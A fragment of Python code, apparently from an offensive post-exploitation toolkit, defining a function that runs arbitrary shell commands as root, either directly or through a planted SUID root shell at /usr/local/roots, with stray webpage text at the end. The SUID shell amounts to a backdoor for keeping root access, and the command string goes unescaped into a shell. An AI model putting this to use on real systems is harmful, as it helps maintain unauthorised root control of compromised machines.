def do_root(command):
if os.getuid() == 0:
output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = output.stdout.read()
err = output.stderr.read()
if output.wait() != 0:
return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
return (True, "%s\n" % out)
else:
if not is_there_SUID_shell():
return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
output = subprocess.Popen("/usr/local/roots \"%s\"" % (command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = output.stdout.read()
err = output.stderr.read()
if err != '':
return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
return (True, "%s\n" % out)
评论列表
文章目录